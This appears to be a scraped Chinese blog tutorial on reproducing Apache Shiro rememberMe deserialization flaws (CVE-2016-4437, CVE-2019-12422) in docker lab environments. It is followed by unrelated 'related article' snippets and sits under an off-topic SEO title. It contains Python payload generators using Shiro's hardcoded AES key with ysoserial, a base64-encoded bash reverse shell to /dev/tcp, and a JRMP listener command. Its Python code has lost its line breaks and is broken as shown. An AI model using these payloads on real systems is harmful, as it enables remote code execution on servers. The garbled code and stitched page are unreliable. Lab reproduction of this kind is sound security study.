在线视频网站怎么做seo/央视网新闻
文章目录
- 一、反序列化概念
- 1.什么是序列化?
- 2.序列化出现场景
- 二、Apache Shiro 1.2.4反序列化漏洞
- 1.定义
- 2.Shiro反序列化漏洞原理
- 3.漏洞特征
- 三、CVE-2016-4437漏洞复现(实验)
- 1.搭建环境
- 2.漏洞特征验证
- 1)未登陆验证
- 2)登陆失败验证
- 3)登陆成功验证
- ① 不勾选
- ② 勾选
- 4)Shiro漏洞验证方法
- 5)漏洞利用
- 四、CVE-2019-12422漏洞复现(实验)
- 1.搭建环境
- 2.检测是否为shiro框架
- 3.制作payload
- 路径下获得了一个payload.cookie
- 4.漏洞验证
- 5.漏洞利用(反弹shell)
- ① VPS监听端口
- ② 构造shell命令
- ③ 开启JRMP服务
- ④ 构造payload
- ⑤ 前台登录
- ⑥ 追加cookie
一、反序列化概念
1.什么是序列化?
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,保证对象的完整性
和可传递性;
反序列化即逆过程,由字节流还原成对象。根据字节流中保存的对象状态及描述信息,
通过反序列化重建对象。
2.序列化出现场景
●远程和进程间通信(RPC/IPC)
●连线协议、Web服务、消息代理
●缓存/持久性存储区
●数据库、缓存服务器、文件系统
●HTTP cookie、HTML表单参数、API身份验证令牌
二、Apache Shiro 1.2.4反序列化漏洞
1.定义
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管
理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应
用程序到最大的网络和企业应用程序。
漏洞影响版本
Apache Shiro <=1.2.4
2.Shiro反序列化漏洞原理
AES加密的密钥Key被硬编码在代码里,Shiro是开源软件,意味着每个人通过源代码
都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,
AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将
rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
在服务端接收cookie值时,按照如下步骤来解析处理:
检索RememberMe cookie 的值
Base 64解码
使用AES解密(加密密钥硬编码)
进行反序列化操作,生成用户登录信息对象(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
3.漏洞特征
shiro反序列化的特征:
返回包中存在 rememberMe=deleteMe 字段
三、CVE-2016-4437漏洞复现(实验)
1.搭建环境
使用vulhub进行环境搭建,cd shiro/CVE-2016-4437
执行docker-compose up -d启动漏洞环境
访问8080
2.漏洞特征验证
1)未登陆验证
使用BP抓包,未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
2)登陆失败验证
登陆失败的话,不管勾不勾选RememberMe字段,返回包中都会有rememberMe=deleteMe字段
3)登陆成功验证
使用正确账号admin:vulhub进行登录
① 不勾选
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段。
但是之后的所有请求中Cookie都不会有rememberMe
② 勾选
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段,还会有rememberMe字段的所有请求
之后中Cookie都会有rememberMe字段
4)Shiro漏洞验证方法
如何判断网站是否使用shiro
找到网站登录的地方
随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段,如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的
如果没有remembeMe
还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空这时,我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架,可能存在shiro反序列化漏洞
5)漏洞利用
手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进
行漏洞利用,这里漏洞检测和利用的方式有两种
第一种是使用jar工具进行验证。
第二种方式是使用python脚本进行验证。
使用jar工具检测是否存在shiro漏洞,执行命令
反弹shell
四、CVE-2019-12422漏洞复现(实验)
1.搭建环境
获取docker镜像:docker pull medicean/vulapps:s_shiro_1
启动docker镜像:docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1
点击account_page
2.检测是否为shiro框架
开启bp抓包,发现返回包存在Set-Cookie 中存在 rememberMe=deleteMe 字段
3.制作payload
dnslog申请一个临时域名
shiro.py内容如下
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="#key = "Z3VucwAAAAAAAAAAAAAAAA=="#key = "wGiHplamyXlVB11UXWol8g=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1]) with open("payload.cookie", "w") as fpw:print("rememberMe={0}".format(payload.decode()),file=fpw)
使用shiro.py 脚本,生成检测payload(dns解析)
例如:python shiro.py “http://4xakbz.dnslog.cn”
需安装crypto
路径下获得了一个payload.cookie
4.漏洞验证
把刚刚生成的payload.cookie粘贴到包里,burp发包,查看dnslog,是否存在dns解析记录
dnslog出现回显,说明存在漏洞
5.漏洞利用(反弹shell)
① VPS监听端口
nc -lvvp 10808
② 构造shell命令
构造反弹shell命令,并且进行base64编码
/bin/bash -i >& /dev/tcp/192.168.155.2/10808 0>&1
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==
③ 开启JRMP服务
在VPS开启一个JRMP(端口设置1099)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==}|{base64,-d}|{bash,-i}”
④ 构造payload
使用s.py构造payload,使存在shiro反序列化的服务器,
python3 s.py 192.168.155.2:1099(攻击者监听的端口)
s.py内容如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
⑤ 前台登录
注意需要勾选Remember Me ,截获数据包,加入payload,将payload发送服务器
⑥ 追加cookie
将s.py生成的内容追加到cookie后面
反弹shell成功
相关文章:

shiro反序列化漏洞
文章目录 一、反序列化概念1.什么是序列化?2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 …...

无需公网IP,实现外网远程访问管家婆ERP进销存系统的方法
文章目录 前言 1.管家婆服务2. 内网穿透2.1 安装cpolar内网穿透2.2 设置远程访问 3. 固定访问地址4. 配置固定公网访问地址 前言 管家婆辉煌系列产品是中小企业进销存、财务管理一体化的典范软件,历经十余年市场的洗礼,深受广大中小企业的欢迎ÿ…...

C#,《小白学程序》第十三课:阶乘(Factorial)的计算方法与代码
1 文本格式 /// <summary> /// 阶乘的非递归算法 /// </summary> /// <param name"a"></param> /// <returns></returns> private int Factorial_Original(int a) { int r 1; for (int i a; i > 1; i--) { …...

以antd为例 React+Typescript 引入第三方UI库
本文 我们来说说 第三方UI库 其实应用市场上的 第三方UI库都是非常优秀的 那么 react 我们比较熟的肯定还是 antd 我们还是来用它作为演示 这边 我们先访问他的官网 https://3x.ant.design/index-cn 点击开始使用 在左侧 有一个 在 TypeScript 中使用 通过图标我们也可以看出…...

matlab如何遍历文件夹及子文件夹下的所有文件
需求 有一个比较深层的文件夹,每个文件夹及其子文件夹下都可能存在我所需要的csv文件,写一个函数,输入文件夹路径后可以返回所有符合要求的csv文件。 代码实现 % folder_path为输入的文件夹,str为指定的文件所特有的关键字&…...

Win11怎么显示隐藏文件
为了保护电脑的安全,系统会将一些重要的文件或者文件夹隐藏起来,导致我们无法轻易的找到和打开,那么这些隐藏的文件怎么显示呢,下面小编就给大家带来Win11显示隐藏文件的方法,感兴趣的小伙伴快来和小编一起看看吧。 W…...

Golang专题精进
Golang专题精进 Golang单元测试Golang错误处理Golang正则表达式Golang反射Golang验证码Golang日期时间处理库CarbonGolang发送邮件库emailGolang log日志Golang log日志框架logrusGolang加密和解密应用Golang访问权限控制框架casbinGolang使用swagger生成api接口文档Golang jwt…...

手游联运平台都具备哪些功能?
手游联运平台是为了方便游戏发行商进行游戏发行和运营而提供的一种服务平台,具备多种功能以支持游戏在不同渠道上的推广和运营。以下是一些手游联运平台通常具备的功能: 多渠道发行:提供多种渠道,如应用商店、社交媒体、合作伙伴等…...

98. 验证二叉搜索树
给你一个二叉树的根节点 root ,判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下: 节点的左子树只包含 小于 当前节点的数。节点的右子树只包含 大于 当前节点的数。所有左子树和右子树自身必须也是二叉搜索树。 示例 1: 输入&am…...

Stream API
Stream API执行流程 Stream API(java.util.stream)把真正的函数式编程风格引入到Java中,可以极大地提高程序员生产力,让程序员写出高效、简洁的代码 实际开发中项目中多数数据源都是来自MySQL、Oracle等关系型数据库,还有部分来自MongDB、Redis等非关系型数据库 …...

手写Spring:第3章-实现Bean的定义、注册、获取
文章目录 一、目标:实现Bean的定义、注册、获取二、设计:实现Bean的定义、注册、获取三、实现:实现Bean的定义、注册、获取3.1 工程结构3.2 实现Bean的定义、注册、获取类图3.3 定义Bean异常3.4 BeanDefinition定义和注册3.4.1 BeanDefinitio…...

这些国外客户真直接
最近在某平台上遇到的客户,很大一部分都是非英语国家的客户,然而他们也有很多共性的习惯。 第一种:直接表达自己对这个产品感兴趣,然后接下来就没有下文了,而之所以可以看得懂,则是借助平台本身的翻译系统&…...

使用Apache Doris自动同步整个 MySQL/Oracle 数据库进行数据分析
Flink-Doris-Connector 1.4.0 允许用户一步将包含数千个表的整个数据库(MySQL或Oracle )摄取到Apache Doris(一种实时分析数据库)中。 通过内置的Flink CDC,连接器可以直接将上游源的表模式和数据同步到Apache Doris&…...

【1++的数据结构】之哈希(一)
👍作者主页:进击的1 🤩 专栏链接:【1的数据结构】 文章目录 一,什么是哈希?二,哈希冲突哈希函数哈希冲突解决 unordered_map与unordered_set 一,什么是哈希? 首先我们要…...

【网络编程】深入了解UDP协议:快速数据传输的利器
(꒪ꇴ꒪ ),Hello我是祐言QAQ我的博客主页:C/C语言,数据结构,Linux基础,ARM开发板,网络编程等领域UP🌍快上🚘,一起学习,让我们成为一个强大的攻城狮࿰…...

WordPress(5)在主题中添加文章字数和预计阅读时间
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 样式图一、添加位置二、找到主题文件样式图 提示:以下是本篇文章正文内容,下面案例可供参考 一、添加位置 二、找到主题文件 在主题目录下functions.php文件把下面的代码添加进去: // 文章字数…...

STM32WB55开发(1)----套件概述
STM32WB55开发----1.套件概述 所用器件视频教学样品申请优势支持协议系统控制和生态系统访问功能示意图系统框图跳线设置开发板原理图 所用器件 所使用的器件是我们自行设计的开发板,该开发板是基于 STM32WB55 系列微控制器所构建。STM32WBXX_VFQFPN68 不仅是一款评…...

CUDA相关知识科普
显卡 显卡(Video card,Graphics card)全称显示接口卡,又称显示适配器,是计算机最基本配置、最重要的配件之一。就像电脑联网需要网卡,主机里的数据要显示在屏幕上就需要显卡。因此,显卡是电脑进…...

恒运资本:总市值和总资产区别?
总市值和总财物是财政术语中经常被提到的两个概念,很多人会将它们混淆。在金融领域中,了解这两个概念的差异十分重要。本文将从多个视点深入分析总市值和总财物的差异。 1.定义 总市值是指公司发行的一切股票的商场总价值。所谓商场总价值…...

CTF安全竞赛介绍
目录 一、赛事简介 二、CTF方向简介 1.Web(Web安全) (1)简介 (2)涉及主要知识 2.MISC(安全杂项) (1)介绍 (2)涉及主要知识 3…...

DC/DC开关电源学习笔记(四)开关电源电路主要器件及技术动态
(四)开关电源电路主要器件及技术动态 1.半导体器件2.变压器3.电容器4.功率二极管5.其他常用元件5.1 电阻5.2 电容5.3 电感5.4 变压器5.5 二极管5.6 整流桥5.7 稳压管5.8 绝缘栅-双极性晶体管1.半导体器件 功率半导体器件仍然是电力电子技术发展的龙头, 电力电子技术的进步必…...

数据可视化与数字孪生:理解两者的区别
在数字化时代,数据技术正在引领创新,其中数据可视化和数字孪生是两个备受关注的概念。尽管它们都涉及数据的应用,但在本质和应用方面存在显著区别。本文带大探讨数据可视化与数字孪生的差异。 概念 数据可视化: 数据可视化是将复…...

C++ socket编程(TCP)
服务端保持监听客户端, 服务端采用select实现,可以监听多个客户端 客户端源码 在这里插入代码片 #include <iostream> //#include <windows.h> #include <WinSock2.h> #include <WS2tcpip.h> using namespace std; #pragma co…...

ldd用于打印程序或库文件所依赖的共享库列表
这是一个Linux命令行指令,将两个常用的命令 ldd 和 grep 组合使用。我来逐一为您解释: ldd: 这是一个Linux工具,用于打印程序或库文件所依赖的共享库列表。通常,当你有一个可执行文件并且想知道它链接到哪些动态库时,你…...

vue+elementUI el-table实现单选
if (selection.length > 1) {this.$refs.table.clearSelection();this.$refs.table.toggleRowSelection(selection.pop());}...

前端组件库造轮子——Message组件开发教程
前端组件库造轮子——Message组件开发教程 前言 本系列旨在记录前端组件库开发经验,我们的组件库项目目前已在Github开源,下面是项目的部分组件。文章会详细介绍一些造组件库轮子的技巧并且最后会给出完整的演示demo。 文章旨在总结经验,开…...

单片机第二季:温度传感器DS18B20
目录 1,DS18B20介绍 2,DS18B20数据手册 2.1,初始化时序 2.2,读写时序 3,DS18B20工作流程 4,代码 1,DS18B20介绍 DS18B20的基本特征: (1)内置集成ADC,外部数字接…...

抓包工具fiddler的基础知识
目录 简介 1、作用 2、使用场景 3、http报文分析 3.1、请求报文 3.2、响应报文 4、介绍fiddler界面功能 4.1、AutoResponder(自动响应器) 4.2、Composer(设计请求) 4.3、断点 4.4、弱网测试 5、app抓包 简介 fiddler是位于客户端和服务端之间的http代理 1、作用 监控浏…...

监控基本概念
监控:这个词在不同的上下文中有不同的含义,在讲到监控MySQL或者监控Redis时,这里只涉及数据采集和可视化,不涉及告警引擎和事件处理。要是监控系统的话,不但包括数据采集和可视化,而且也包括告警和事件发送…...

【数据结构】 七大排序详解(壹)——直接插入排序、希尔排序、选择排序、堆排序
文章目录 🍀排序的概念及引用🐱👤排序的概念🐱👓排序运用🐱🐉常见的排序算法 🌴插入排序🎋基本思想:🛫直接插入排序📌算法步骤&…...